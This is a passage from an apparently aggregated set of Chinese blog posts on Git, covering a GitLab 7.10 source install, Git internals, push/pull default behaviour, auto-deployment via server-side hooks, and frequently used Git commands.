CREATE DATABASE IF NOT EXISTS `gitlabhq_production` DEFAULT CHARACTER SET `utf8` COLLATE `utf8_unicode_ci`;
GRANT SELECT, LOCK TABLES, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER ON `gitlabhq_production`.* TO 'git'@'localhost';
\q



尝试使用新用户连接数据库：


sudo -u git -H mysql -u git -p -D gitlabhq_production
\q



安装 Gitlab


克隆源


sudo -u -git cd /home/git
sudo -u git -H git clone https://gitlab.com/gitlab-org/gitlab-ce.git -b 7-10-stable gitlab



配置


cd /home/git/gitlab

# Copy the example GitLab config
# 复制GitLab的示例配置文件
sudo -u git -H cp config/gitlab.yml.example config/gitlab.yml

# Make sure to change "localhost" to the fully-qualified domain name of your host serving GitLab where necessary
# 确保修改“localhost”为你的GitLab主机的FQDN
#
# If you want to use https make sure that you set `https` to `true`. See #using-https for all necessary details.
# 如果你想要使用https确保你设置了`https`为`true`。具体必要的细节参见#using-https
#
# If you installed Git from source, change the git bin_path to /usr/local/bin/git
# 如果你从源代码安装了Git，修改git的bin_path为/usr/local/bin/git
sudo -u git -H editor config/gitlab.yml

# Make sure GitLab can write to the log/ and tmp/ directories
# 确保GitLab可以写入log/和temp/目录
chown -R git {log,tmp}
chmod -R u+rwX  {log,tmp}

# Create directory for satellites
# 为卫星(?)创建目录
sudo -u git -H mkdir /home/git/gitlab-satellites
chmod u+rwx,g+rx,o-rwx /home/git/gitlab-satellites

# Make sure GitLab can write to the tmp/pids/ and tmp/sockets/ directories
# 确保GitLab可以写入tmp/pids/和temp/sockets/目录
chmod -R u+rwX  tmp/{pids,sockets}

# Make sure GitLab can write to the public/uploads/ directory
# 确保GitLab可以写入public/uploads/目录
chmod -R u+rwX  public/uploads

# Copy the example Unicorn config
# 复制Unicorn的示例配置文件
sudo -u git -H cp config/unicorn.rb.example config/unicorn.rb

# Enable cluster mode if you expect to have a high load instance
# Ex. change amount of workers to 3 for 2GB RAM server
# 启用集群模式如果你期望拥有一个高负载实例
# 附：修改worker的数量到3用于2GB内存的服务器
sudo -u git -H editor config/unicorn.rb

# Copy the example Rack attack config
# 复制Rack attack的示例配置文件
sudo -u git -H cp config/initializers/rack_attack.rb.example config/initializers/rack_attack.rb

# Configure Git global settings for git user, useful when editing via web
# Edit user.email according to what is set in config/gitlab.yml
# 为git用户配置Git全局设定，当通过web修改时有用
# 修改user.email根据config/gitlab.yml中的设定
sudo -u git -H git config --global user.name "GitLab"
sudo -u git -H git config --global user.email "gitlab@localhost"
sudo -u git -H git config --global core.autocrlf input



数据库配置


# MySQL only:
# 仅限MySQL：
sudo -u git cp config/database.yml.mysql config/database.yml

# MySQL and remote PostgreSQL only:
# Update username/password in config/database.yml.
# You only need to adapt the production settings (first part).
# If you followed the database guide then please do as follows:
# Change 'secure password' with the value you have given to $password
# You can keep the double quotes around the password
# 仅限MySQL和远程PostgreSQL：
# 在config/database.yml中更新用户名/密码；
# 你只需要适配生产设定（第一部分）；
# 如果你跟从数据库向导，请按以下操作：
# 修改'secure password'使用你刚才设定的$password；
# 你可以保留密码两端的双引号。
sudo -u git -H editor config/database.yml

# PostgreSQL and MySQL:
# Make config/database.yml readable to git only
# PostgreSQL和MySQL：
# 设置config/database.yml仅对git可读。
sudo -u git -H chmod o-rwx config/database.yml



安装 Gems


cd /home/git/gitlab

# For users from China mainland only
# 仅限中国大陆用户
nano /home/git/gitlab/Gemfile
source "http://ruby.taobao.org" // 原始 source "https://rubygems.org/"

# For MySQL (note, the option says "without ... postgres")
sudo -u git -H bundle install --deployment --without development test postgres aws



Install GitLab shell


安装GitLab Shell


GitLab Shell是一个专门为GitLab开发的SSH访问和源管理软件。


# Go to the Gitlab installation folder:
# 转到GitLab安装目录：
cd /home/git/gitlab

# For users from China mainland only
# 仅限中国大陆用户
nano /home/git/gitlab/Gemfile
source "http://ruby.taobao.org" // 原始 source "https://rubygems.org/"

# Run the installation task for gitlab-shell (replace `REDIS_URL` if needed):
# 运行gitlab-shell的安装任务（替换`REDIS_URL`如果有需要的话）：
sudo -u git -H bundle exec rake gitlab:shell:install[v1.9.6] REDIS_URL=redis://localhost:6379 RAILS_ENV=production

# By default, the gitlab-shell config is generated from your main gitlab config.
# 默认的，gitlab-shell的配置文件是由你的gitlab主配置文件生成的。
#
# Note: When using GitLab with HTTPS please change the following:
# - Provide paths to the certificates under `ca_file` and `ca_path options.
# - The `gitlab_url` option must point to the https endpoint of GitLab.
# - In case you are using self signed certificate set `self_signed_cert` to `true`.
# See #using-https for all necessary details.
# 提示：当通过HTTPS使用GitLab时，请做出如下更改：
# - 提供证书的路径在`ca_file`和`ca_path`选项；
# - `gitlab_url`选项必须指向GitLab的https端点；
# - 如果你使用自签名的证书，设置`self-signed_cert`为`true`。
# 所有必需的具体细节参见#using-https
#
# You can review (and modify) it as follows:
# 你可以检查（并修改该）通过以下方法：
sudo -u git -H editor /home/git/gitlab-shell/config.yml

# Ensure the correct SELinux contexts are set
# Read http://wiki.centos.org/HowTos/Network/SecuringSSH
# 确保正确的SELinux上下文被设置
# 阅读http://wiki.centos.org/HowTos/Network/SecuringSSH
restorecon -Rv /home/git/.ssh



初始化数据库和激活高级功能


sudo -u git -H bundle exec rake gitlab:setup RAILS_ENV=production
# Type 'yes' to create the database tables.
# When done you see 'Administrator account created:'



提示：你可以设置管理员密码通过在环境变量GITLAB_ROOT_PASSWORD中提供，例如：


sudo -u git -H bundle exec rake gitlab:setup RAILS_ENV=production GITLAB_ROOT_PASSWORD=newpassword



安装初始化脚本


下载初始化脚本（将放在/etc/init.d/gitlab）：


sudo cp lib/support/init.d/gitlab /etc/init.d/gitlab
chmod +x /etc/init.d/gitlab
chkconfig --add gitlab



设置GitLab开机启动：


chkconfig gitlab on



设置日志翻转


cp lib/support/logrotate/gitlab /etc/logrotate.d/gitlab



检查应用状态


sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production



编译静态文件


sudo -u git -H bundle exec rake assets:precompile RAILS_ENV=production



启动实例


/etc/init.d/gitlab start



 六百字读懂 Git

作者：Amio

来源： 六百字读懂 Git



                    

  译注：来自 Hacker School 的 Mary Rose Cook 实现了一个纯 JavaScript 写就的 Git：Gitlet，包含了最主要的一些命令。这个项目一是为了了解 Git 内部原理，二是希望写一篇深入浅出解释 Git 核心概念的短文。学习一件东西的原理最好的方法就是去亲自实现它，而设计精巧的 Git 核心功能代码也不过 300 行。这就是这篇精巧的小文：Git in 600 words，相应的代码在 Github 上。短文很有趣，思路清晰也足够深入，值得一看。




设想你现在位于 alpha/ 目录下，这里有一个文本文件 number.txt，里面的内容只有一个词：“first”。


现在执行 git init 将这个 alpha 文件夹初始化为 Git 仓库。


执行 git add number.txt 会将 number.txt 添加到 Git 的索引（index）中。这个索引记录了所有 Git 保持追踪的文件，现在它有了一个映射记录 number.txt -> first，同时 add 命令还会把一个包含了 first 字符串的二进制对象加入 Git 的对象数据库里。


现在执行 git commit -m first。这条命令会做三件事情。首先在对象数据库内创建一个树对象，用以记录 alpha 目录下的文件列表，这个对象有一个指针指向前面 git add 命令创建的 first 二进制对象；第二，这条命令还会创建一个 commit 对象用以代表刚刚提交的版本，它包含一个指针指向刚刚的树对象；第三，master 分支也会指向这个新创建的 commit 对象。


现在执行 git clone . ../beta。它会创建一个新目录 beta 并将其初始化为 Git 仓库，然后把 alpha 仓库的对象数据库中所有对象拷贝给 beta 的对象数据库，将 beta 的 master 分支像 alpha 的 master 一样指向相应的对象。它还根据 first 提交的内容配置索引，并根据索引更新目录下的文件——也就是 number.txt。


现在切换到 beta 目录，修改 number.txt 的内容为“second”，执行 git add number.txt 和 git commit -m second，新创建的提交对象 second（译注：姑且称之为 second）会有一个指向父提交（first）的指针，表示 second 继承自 first，而 master 分支则指向 second 提交。


回到 alpha 目录，执行 git remote add beta ../beta，将 beta 仓库设为远程仓库。然后执行 git pull beta master。


在这条命令背后，它其实会执行 git fetch beta master，从 beta 仓库中找到 second 提交的相关对象拷贝到 alpha 仓库；把 alpha 中关于 beta 的 master 分支记录指向这个 second 提交；更新 FETCH_HEAD 指向刚刚从 beta 仓库拉取的 master 分支，还是这个 second 提交。


此外，pull 命令还会执行 git merge FETCH_HEAD。从 FETCH_HEAD 得知最近拉取的分支是 beta 仓库的 master 分支，据此拿到相应的对象，也就是 second 提交对象。此时 alpha 的 master 分支指着 first 提交，正好是 second 的祖先提交，于是对于 merge 命令来说只需要将 master 分支指向 second 提交即可。接下来 merge 命令还会更新索引以匹配 second 提交的内容，并且相应更新工作目录中的文件。


现在执行 git branch red，创建一个名为“red”、指向 second 提交的新分支。


然后执行 git checkout red。在 checkout 之前，HEAD 指向 master 分支，执行命令之后它就指向了 red 分支，使得 red 成为当前分支。


接下来把 number.txt 的内容修改为 “third”，执行 git add numbers.txt 和 run git commit -m third。


之后再执行 git push beta red，这条命令会把 alpha 仓库内跟 third 提交相关的对象拷贝至 beta 仓库，并且将（alpha 仓库内记录的）beta 仓库 red 分支指向 third 提交。就酱。


 Github连击200天(1)——ShowCase

作者：phodal

来源： Github连击200天(1)——ShowCase



                    
今天是我连续泡在Github上的第200天，也是蛮高兴的，终于达了:





故事的背影是: 去年国庆完后要去印度接受毕业生培训——就是那个神奇的国度。但是在去之前已经在项目待了九个多月，项目上的挑战越来越少，在印度的时间又算是比较多。便给自己设定了一个长期的goal，即100~200天的longest streak。


或许之前你看到过一篇文章让我们连击，那时已然140天，只是还是浑浑噩噩。到了今天，渐渐有了一个更清晰地思路。


先让我们来一下ShowCase，然后再然后，下一篇我们再继续。


一些项目简述


上面说到的培训一开始是用Java写的一个网站，有自动测试、CI、CD等等。由于是内部组队培训，代码不能公开等等因素，加之做得无聊。顺手，拿Node.js +RESTify 做了Server，Backbone + RequireJS + jQuery 做了前台的逻辑。于是在那个日子里，也在维护一些旧的repo，如iot-coap、iot，前者是我拿到WebStorm开源License的Repo，后者则是毕业设计。


对于这样一个项目也需要有测试、自动化测试、CI等等。CI用的是Travics-CI。总体的技术构架如下:


技术栈


前台:



	Backbone 

	RequireJS

	Underscore

	Mustache

	Pure CSS



后台:



	RESTify



测试:



	Jasmine

	Chai

	Sinon

	Mocha

	Jasmine-jQuery



一直写到五星期的培训结束， 只是没有自动部署。想想就觉得可以用github-page的项目多好~~。


过程中还有一些有意思的小项目，如:


google map solr polygon 搜索


google map solr polygon 搜索





代码: https://github.com/phodal/gmap-solr


技能树


这个可以从两部分说起:


重构Skill Tree


原来的是



	Knockout

	RequireJS

	jQuery

	Gulp






代码: https://github.com/phodal/skillock


技能树Sherlock



	D3.js

	Dagre-D3.js

	jquery.tooltipster.js

	jQuery

	Lettuce

	Knockout.js

	Require.js






代码: https://github.com/phodal/sherlock


Django Ionic ElasticSearch 地图搜索






	ElasticSearch

	Django

	Ionic

	OpenLayers 3



代码: https://github.com/phodal/django-elasticsearch


简历生成器






	React

	jsPDF

	jQuery

	RequireJS

	Showdown



代码: https://github.com/phodal/resume


Nginx 大数据学习






	ElasticSearch

	Hadoop

	Pig



代码: https://github.com/phodal/learning-data/tree/master/nginx


其他


虽然技术栈上主要集中在Python、JavaScript，当然还有一些Ruby、Pig、Shell、Java的代码，只是我还是习惯用Python和JavaScript。一些用到觉得不错的框架:



	Ionic: 开始Hybird移动应用。

	Django: Python Web开发利器。

	Flask: Python Web开发小刀。

	RequireJS: 管理js依赖。

	Backbone: Model + View + Router。

	Angluar: ...。

	Knockout: MVV*。

	React: 据说会火。

	Cordova: Hybird应用基础。



还应该有:



	ElasticSearch

	Solr

	Hadoop

	Pig

	MongoDB

	Redis




 Git push与pull的默认行为

作者：Abruzzi

来源： Git push与pull的默认行为



                    
一直以来对git push与git pull命令的默认行为感觉混乱，今天抽空总结下。


git push


通常对于一个本地的新建分支，例如git checkout -b develop, 在develop分支commit了代码之后，如果直接执行git push命令，develop分支将不会被push到远程仓库（但此时git push操作有可能会推送一些代码到远程仓库，这取决于我们本地git config配置中的push.default默认行为，下文将会逐一详解）。


因此我们至少需要显式指定将要推送的分支名，例如git push origin develop，才能将本地新分支推送到远程仓库。


当我们通过显式指定分支名进行初次push操作后，本地有了新的commit，此时执行git push命令会有什么效果呢？


如果你未曾改动过git config中的push.default属性，根据我们使用的git不同版本（Git 2.0之前或之后），git push通常会有两种截然不同的行为:



	develop分支中本地新增的commit被push到远程仓库

	push失败，并收到git如下的警告



fatal: The current branch new has no upstream branch.
To push the current branch and set the remote as upstream, use

    git push --set-upstream origin develop



为什么git版本不同会有两种不同的push行为？


因为在git的全局配置中，有一个push.default属性，其决定了git push操作的默认行为。在Git 2.0之前，这个属性的默认被设为'matching'，2.0之后则被更改为了'simple'。


我们可以通过git version确定当前的git版本（如果小于2.0，更新是个更好的选择），通过git config --global push.default 'option'改变push.default的默认行为（或者也可直接编辑~/.gitconfig文件）。


push.default 有以下几个可选值：
nothing, current, upstream, simple, matching


其用途分别为：



	nothing - push操作无效，除非显式指定远程分支，例如git push origin develop（我觉得。。。可以给那些不愿学git的同事配上此项）。


	current - push当前分支到远程同名分支，如果远程同名分支不存在则自动创建同名分支。


	upstream - push当前分支到它的upstream分支上（这一项其实用于经常从本地分支push/pull到同一远程仓库的情景，这种模式叫做central workflow）。


	simple - simple和upstream是相似的，只有一点不同，simple必须保证本地分支和它的远程

upstream分支同名，否则会拒绝push操作。


	matching - push所有本地和远程两端都存在的同名分支。




因此如果我们使用了git2.0之前的版本，push.default = matching，git push后则会推送当前分支代码到远程分支，而2.0之后，push.default = simple，如果没有指定当前分支的upstream分支，就会收到上文的fatal提示。


upstream & downstream


说到这里，需要解释一下git中的upstream到底是什么：



  git中存在upstream和downstream，简言之，当我们把仓库A中某分支x的代码push到仓库B分支y，此时仓库B的这个分支y就叫做A中x分支的upstream，而x则被称作y的downstream，这是一个相对关系，每一个本地分支都相对地可以有一个远程的upstream分支（注意这个upstream分支可以不同名，但通常我们都会使用同名分支作为upstream）。




初次提交本地分支，例如git push origin develop操作，并不会定义当前本地分支的upstream分支，我们可以通过git push --set-upstream origin develop，关联本地develop分支的upstream分支，另一个更为简洁的方式是初次push时，加入-u参数，例如git push -u origin develop，这个操作在push的同时会指定当前分支的upstream。


注意push.default = current可以在远程同名分支不存在的情况下自动创建同名分支，有些时候这也是个极其方便的模式，比如初次push你可以直接输入 git push 而不必显示指定远程分支。


git pull


弄清楚git push的默认行为后，再来看看git pull。


当我们未指定当前分支的upstream时，通常git pull操作会得到如下的提示：


There is no tracking information for the current branch.
Please specify which branch you want to merge with.
See git-pull(1) for details

    git pull <remote> <branch>

If you wish to set tracking information for this branch you can do so with:

    git branch --set-upstream-to=origin/<branch> new1



git pull的默认行为和git push完全不同。当我们执行git pull的时候，实际上是做了git fetch + git merge操作，fetch操作将会更新本地仓库的remote tracking，也就是refs/remotes中的代码，并不会对refs/heads中本地当前的代码造成影响。


当我们进行pull的第二个行为merge时，对git来说，如果我们没有设定当前分支的upstream，它并不知道我们要合并哪个分支到当前分支，所以我们需要通过下面的代码指定当前分支的upstream：


git branch --set-upstream-to=origin/<branch> develop
// 或者git push --set-upstream origin develop 



实际上，如果我们没有指定upstream，git在merge时会访问git config中当前分支(develop)merge的默认配置，我们可以通过配置下面的内容指定某个分支的默认merge操作


[branch "develop"]
    remote = origin
    merge = refs/heads/develop // [1]为什么不是refs/remotes/develop?



或者通过command-line直接设置：


git config branch.develop.merge refs/heads/develop



这样当我们在develop分支git pull时，如果没有指定upstream分支，git将根据我们的config文件去merge origin/develop；如果指定了upstream分支，则会忽略config中的merge默认配置。


以上就是git push和git pull操作的全部默认行为，如有错误，欢迎斧正




[1] 为什么merge = refs/heads/develop 而不是refs/remotes/develop?

因为这里merge指代的是我们想要merge的远程分支，是remote上的refs/heads/develop，文中即是origin上的refs/heads/develop，这和我们在本地直接执行git merge是不同的(本地执行git merge origin/develop则是直接merge refs/remotes/develop)。


refs:
http://git-scm.com/book/en/v2/Git-Internals-The-Refspec
http://stackoverflow.com/questions/658885/how-do-you-get-git-to-always...
http://stackoverflow.com/questions/17096311/why-do-i-need-to-explicitl...
http://www.gitguys.com/topics/the-configuration-file-branch-section/


by Abruzzi's blog


 用 Git Hooks 进行自动部署

作者：欧雷

来源： 用 Git Hooks 进行自动部署



                    
原文发表于 http://ourai.ws/posts/deployment-with-git-hooks/



昨天开始接手开发公司前端团队的主页，在稍微修改点东西后推送到远程仓库想看下线上结果时发现并没有更改！询问一把手得知，居然还需要连接到服务器执行一下 git pull 才行……对于我这种怕麻烦的人来说，简直不能忍！

经过一番查找资料以及一顿折腾，终于让它能够自动跑起来了，真是高兴得我手舞足蹈啊！虽然弄了较长时间，在实践的过程中踩了点坑，但回过头来一看还是挺简单的。总的来说，就只是在服务器和本机都做一下配置。（这不废话么……）

由于公司的服务器是 CentOS，我所使用的电脑是 Mac OS X，故本文内容是基于这两个系统环境所写。GUI 在给用户带来很多便利的同时也隐藏了一些不便，如：需要下载应用软件及在操作界面交互。鉴于本文的中心是「自动化」，所以一切操作都采用命令行——

远程连接服务器

在搭建环境的整个过程中，有很多步骤是需要连接到服务器进行的，然而在每次访问的时候都需要输入用户名和密码，就像逢年过节回家聚会都会被亲戚朋友询问「什么时候结婚呀」「何时抱小孩啊」。这就是为什么要把这步放到前面——在自己脑门上写上计划的结婚生子时间，省得他们总问！

生成 SSH 密钥

密钥是免登录连接服务器的通行证，有种刷脸通行的感觉。如果本地已经存在并且不想另外生成的话，可以跳过此步。

cd ~/.ssh 切换目录后用 ssh-keygen -t rsa -C "用于区分密钥的标识" 生成一对具有相同名字的密钥（默认为 id_rsa 和 id_rsa.pub）：用于本地的私钥和用于服务器的公钥（有 .pub 扩展名）。

如果私钥名字不是默认的话，需要手动加入到被「认证」的私钥列表中，否则每次连接服务器都会提示输入服务器的密码。在遇到了一些坑（文后有说明）后，我觉得设置 SSH config 最为靠谱！

编辑 ~/.ssh/config 文件（如果不存在则 touch ~/.ssh/config 创建一下），添加以下内容：

Host HOST_ALIAS                       # 用于 SSH 连接的别名，最好与 HostName 保持一致
  HostName SERVER_DOMAIN              # 服务器的域名或 IP 地址
  Port SERVER_PORT                    # 服务器的端口号，默认为 22，可选
  User SERVER_USER                    # 服务器的用户名
  PreferredAuthentications publickey
  IdentityFile ~/.ssh/PRIVATE_KEY     # 本机上存放的私钥路径

服务器端认证

先用 pbcopy < ~/.ssh/PRIVATE_KEY.pub 将公钥复制到剪贴板；通过 ssh USER@SERVER 访问服务器，这时会提示输入密码（它也许只有这么一次「询问」的机会）；成功登录后 vim ~/.ssh/authorized_keys，在合适的位置 cmd + V 并保存退出（同时 exit 退出 SSH 连接）。

配置 Git 仓库

创建服务器端仓库

服务器上需要配置两个仓库，一个用于代码中转的远程仓库，一个用于用户访问的本地仓库。这里的「远程仓库」并不等同于托管代码的「中央仓库」，这两个仓库都是为了自动同步代码并部署网站而存在。

在存放远程仓库的目录中（假设是 /home/USER/repos）执行 git init --bare BRIDGE_REPO.git 会创建一个包含 Git 各种配置文件的「裸仓库」。

切换到存放用户所访问文件的目录（假设为 /home/USER/www，如果不存在则在 /home/USER 中执行 mkdir www）：

git init
git remote add origin ~/repos/BRIDGE_REPO.git
git fetch
git checkout master

配置 Git Hook

将目录切换至 /home/USER/repos/BRIDGE_REPO.git/hooks，用 cp post-receive.sample post-receive 复制并重命名文件后用 vim post-receive 修改。其内容大致如下：

#!/bin/sh

unset GIT_DIR

NowPath=`pwd`
DeployPath="../../www"

cd $DeployPath
git pull origin master

cd $NowPath
exit 0

使用 chmod +x post-receive 改变一下权限后，服务器端的配置就基本完成了。

更新本机的仓库源

在原有的（托管代码的）仓库上加入刚才所配置的服务器上的远程仓库的地址为源，以后往那个源推送代码后就会自动部署了。

总结

在搭建环境时并没有一帆风顺，磕磕绊绊遇到不少问题，虽然很多不值得一提，但有的点还是有记录并分享的价值的！

SSH 私钥「认证」

将生成的私钥进行「认证」有不止一种方式，然而，起初我用的是最挫最不靠谱的 ssh-add ~/.ssh/PRIVATE_KEY——只是在当前 session 有效，一重启就又会被「询问」了！


 【转】搭建git服务器及利用git hook自动布署代码

作者：Yi_Zhi_Yu

来源： 【转】搭建git服务器及利用git hook自动布署代码



                    

  转自 http://xydudu.calepin.co/git-server-and-hook.html




我喜欢 github，我现在的个人代码全部是托管在上面了，但是一些公司或者某些项目不适合放入github中，你希望能有一个完全私有的仓库，如果你有一台服务器，这显然是很容易办到的事。


下面简单的描述我在某个项目中布署的一个git服务，并且本地提交更新后，服务器将自动更新代码到在线代码的仓库。


创建用户并使客户机可通过密钥登录服务器


服务器中操作


root 用户ssh登录服务器，创建一个新用户用来给git登录及其操作，比如这里我创建一个名为“git”的用户：


$ sudo add user git



进入到 /home/git 文件夹中，查看是否有 .ssh/ 目录， 如没有：


$ mkdir .ssh



进入 /home/git/.ssh 文件夹中，创建文件 authorized_keys


等待


客户机中操作


进入 ~/.ssh/ 目录，查看是否有 id_rsa.pub 文件，如没有：


$ ssh-keygen



一路回车，完成后，便可发现 ~/.ssh/ 目录中有 id_rsa.pub， 复制其内容，粘贴到上面操作服务器的 authorized_keys 文件中


测试是否密钥登录成功


$ ssh git@yourserverip



创建git服务器远程仓库


进入 /opt/git 目录， 如没有，创建之

建立仓库文件夹，比如：


path:/opt/git $ mkdir gitdemo



将gitdemo用户组设置为当前用户git

初始化为远程仓库


$ git init --bare

上面的步骤已经完成了git远程仓库的创建，此时你只要将你本地的git代码仓库 git remote add git@yourserverip:/opt/git/gitdemo，便可提交与更新代码了。


比如我机器上的开发目录为：~/www/gitdemodev， 进行下面操作：


$ cd ~/www/gitdemodev 
$ git init  #建一个文件，写点东西进去 
$ touch README | echo 'hello git' > READEME
$ git add README 
$ git remote add origin git@yourserverip:/opt/git/gitdemo 
$ git commit -m 'first commit' 
$ git push origin master



现在你已经本地的代码成功的提交到了远程仓库中，只需在你团队成员电脑上作相同操作，便可利用git协同开发了，注意把各自电脑的 id_rsa.pub 内容复制进服务器的 authorized_keys 文件中。


git hook 自动布署代码


假设你的项目也是跑在此台服务器上，那自动布署代码就很简单了，比如你的在线服务代码在 /var/www/demo 文件夹中。


/var/www/demo也要有写权限


你先初始化代码库：


$ git clone /opt/git/gitdemo /var/www/demo



然后你可以通过 git pull 来更新代码。


当然这样是手动了，我想要的是本地提交更新后，服务器能自动的 git pull代码到最新，于是我们就要借助 git hook了。


进入到 /opt/git/gitdemo 文件夹中，会发现 .git/hook 文件夹在里面，进入到 hook 中，里面有很多的 sample 脚本，这里我们只需要用到 post-update。


$ mv post-update.sample post-update $ vim post-update



可以看到里面其实就是一些shell脚本，你要做的就是把 git pull写进去。当用户提交后，便会调用post-update脚本的。


比如我在服务器的代码库更新后，要求对应的服务代码也要更新（进行pull操作），

则在bare仓库的hooks中的post-receive添加如下内容即可


#!/bin/sh 
unset $(git rev-parse --local-env-vars)
cd WEB_DIR
git pull



这些脚本显然是可以做很多事的，只要你想得到，要了解各脚本何时调用，google吧。



  注：服务器中与git用户有关的文件夹及文件，请：


$ chown -Rh git:git /your/git/dirs





 Git 常用命令

作者：Coolzilj

来源： Git 常用命令



                    
原文：Git 常用命令


从设计转型开发的第一天起，老大只教我一件事，使用 Git。

比起一上来就给我各种任务写 HTML/CSS/JS 调各种 Bug, 让我熟练掌握 Git 这件事至今我都非常感激。

毫无疑问地说，Git 是当今编程学习里最基本的必备技能。


我记得很清楚，当时我问他，假如全世界的工具你只能保留一个在电脑，你的选择是什么？

Git，老大很肯定地回答，当时我很不解。

3 年后，如果现在要我回答这个问题，我会给出同样的答案。


Git 的强大一本书都不足以全部说明，更何况一篇博客。

本文记录了我 3 年来使用 Git 最频繁的命令（不包括最基本的add/commit/push/pull等），

很负责地说，学会这些基本也就能快乐地玩转 Git 了 （持续整理更新中）。


Hope you enjoy!


1. 超实用 Alias


bashalias g="git"
alias gb="git branch"
alias gco="git checkout"
alias gcmsg="git commit -m"
alias gamend="git commit --amend -C HEAD"
alias gst="git status"
alias log="git log --oneline --graph --decorate --color=always"
alias logg="git log --graph --all --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(bold white)—     %an%C(reset)%C(bold yellow)%d%C(reset)' --abbrev-commit --date=relative"



2. 取回远端 master 与本地 master 分支合并


bashgco master

g fetch --all 或者
g fetch origin master

g reset --hard origin/master(本地没有修改，所以完全覆盖也没关系) 或者
g rebase origin/master（本地有修改还没push）



3. 推送分支到远端


假设现在所在的分支是import，指定推送到远端分支liujin-import


bashg push origin import:liujin-import



假如远端的 liujin-import 分支已经不需要，可以直接覆盖掉


bashg push -f origin import:liujin-import



4. 追加文件到某个 commit


有时候修完某功能并提交了 commit 之后才发现还有一点小修改，这时候又不想再提交一个commit，可以追加这个文件到前一个commit，步骤如下：


bashgit add 你要追加修改的文件
git commit --amend -C HEAD 或者 gamend



5. 查找包含某文件的 commit


git log 文件路径
git show commit_id



或者


git log --follow filename(绝对路径)



Ref: List all commit for a specific file


6. 把一个 commit 分拆为两个 commit


老大常说要养成一个小改动对应一个commit的习惯，但是有时候写得太乱懒得去分割就把很多改动做成了一个commit，这样子增加了以后维护的难度，所以要把一个 commit 分拆为多个 commit 怎么办呢？



	首先把你要分拆的 file reset 了：



git reset HEAD~1 path/to/file
# This doesn't delete your changes to path/to/file




	接着修改当前这个 commit 的 message，命令是：



git commit --amend -v
# -v参数是打开editor编辑




	然后就可以把 reset 出来那个 file 新建一个 commit，命令是：



git commit -v path/to/file



这样就把一个 commit 分拆为两个啦，^_^


7. 删除某些 commit


git rebase -i HEAD~10



8. 追加修改到之前某个 commit


假如 gst 发现已经有文件被修改，这时候需要把修改暂存起来。


git stash



接着找到你需要追加修改的那个commit id，如4b739bb


g rebase 4b739bb~ -i 或者
g rebase -i HEAD~5 #列出最近5个commit



这时候会自动打开编辑器，把你需要修改的 commit 前面的 pick 改成 edit，保存，关闭编辑器，这时候会回到终端，再输入:


g stash pop



把暂存的修改读出来，然后做修改，g add .，最后


g rebase --continue



9. 查找含有特定关键字的 commit



	
git log --grep

最基本的用法

	git log --grep=frotz --grep=nitfol --since=1.month

查找一个月以内commit log message里含有 frotz 或者 nitfol 的 commits


	git log --grep=frotz --author=Linus

查找指定作者


	git grep -l -e frotz --and -e nitfol

查找同一行含有 frotz 和 nitfol 的文件


	git grep -l --all-match -e frotz -e nitfol

查找文件里面含有 frotz 和 nitfol 的文件（不局限于同一行）




10. 清空 git working copy 还没追踪的文件



	git clean -f


	git clean -f -d

如果还想删除目录


	git clean -f -X

如果只是想删除忽略的文件


	git clean -f -x

如果想删除忽略和非忽略的文件




11. 清理本地仓库


长时间做一个项目，经常需要 git fetch，这样做每次都会拉回远端的全部分支。

即使远端有些分支已经删除，但是运行git branch -a还是会显示已删除的分支，

长时间下来这个列表就会很长很长，这时候就需要清理一下本地的仓库了：


bashgit remote prune origin
# `prune`会删除任何不存在于远端仓库的分支，这样运行 `git branch -a`命令的时候顿时就清静了



12. 创建追踪远端分支的本地分支


bashgb dev origin/r1-dev
#Branch dev set up to track remote branch r1-dev from origin.



13. 分支移动


bashg branch -f master HEAD~3
# 把 master 分支强制移到 HEAD 前面第三个 commit



14. Revert一个 Merge


git revert -m 1 M -> W


---o---o---o---M---x---x---W
               /
       ---A---B


15. 获取短的 commit hash


bashgit rev-parse --short HEAD



16. commit 了以后才记起来忘了创建 .gitignore, 垃圾文件都已经提交


比如说一个nodejs项目，一开始的时候就忘记了创建.gitnore文件忽略掉node_modules的内容，所以其中的内容就已经被提交了。


即使紧接着你在.gitignore加了一行node_modules, 已经被提交的文件是不会自动删除的。


这时候你就需要做的就是：


bashgit rm --cached path/to/ignored
#nodejs案例就是
git rm -r --cached node_modules



17. 提交所有被删除的文件


$ git add -u



这个命令告诉 git 自动更新已跟踪的文件, 包括被删除的已跟踪文件。


如果你用的是 git 2.0


$ git add -u :/



友情提示：从 git 2.0(2013年中)开始，以上命令会 stage 整个 working tree 的文件。

如果你只是想 stage 当前目录的文件，应该这么用：


$ git add -u .



详情可以去搜 "“git add -A” 和 “git add .” 的区别".


Ref: StackOverflow


18. 撤销上一次 git add . 操作


这种情况通常是因为忘记添加.gitignore文件，或者一时手快把一些非必要的文件（如node_modules)跟踪了, 解决办法：


bashgit reset



该命令会 unstage 你上一个 commit 增加的所有文件。


如果你只想 unstage 某些文件:


git reset -- <file 1> <file 2> <file n>



还可以 unstage 文件里某处的改动：


git reset -p



 如何修改 git 记录？

作者：Forelax

来源： 如何修改 git 记录？



                    
用 git 用着用着手残了？没事，还好 git 给我们机会重新来过，这里记录了一些修改 git 的历史提交记录的方式，从此再也不怕手残~

初级选手 git amend


如果仅仅是在提交之后发现自己手残了，用git commit --amend就可以修改刚才的那一次提交。该命令在执行以后，会将刚刚的那一次提交从当前分支移除，把工作空间恢复到上次准备提交的状态（同时混合了上次提交之后的更改），然后显示出一个 vim 的界面让你去修改上次的提交信息。在vim 中保存后，就会把当前的所有修改一并用新的提交信息提交了。

该命令仅仅可以修改最后一次提交，一个命令相当于执行了如下一系列动作：

    $ORIG_HEAD=`git show`#保存当前的这次提交的 commit 号
    $git reset --soft HEAD^#回到最后一次提交准备提交前的状态
    $...#做一些操作和修改
    $git commit -c $ORIG_HEAD#表示用最后一次提交的提交信息来做为提交信息，不过会调出编辑器界面

中级选手 git rebase


前面的git commit --amend仅仅可以修改最后一次提交，但是当自己一时兴起，手残了一路时，这个命令就无法拯救我们了，这个时候我们就要祭出git rebase -i 这个大杀器来帮我们修改那些不堪回首的往事。

实际上，git rebase -i并不是一个专门用来修改历史记录的命令，而是一个让我们可以交互式（就是一个个来） 进行衍合操作的命令，不过我们可以用这个命令来实现对于提交历史的修改。

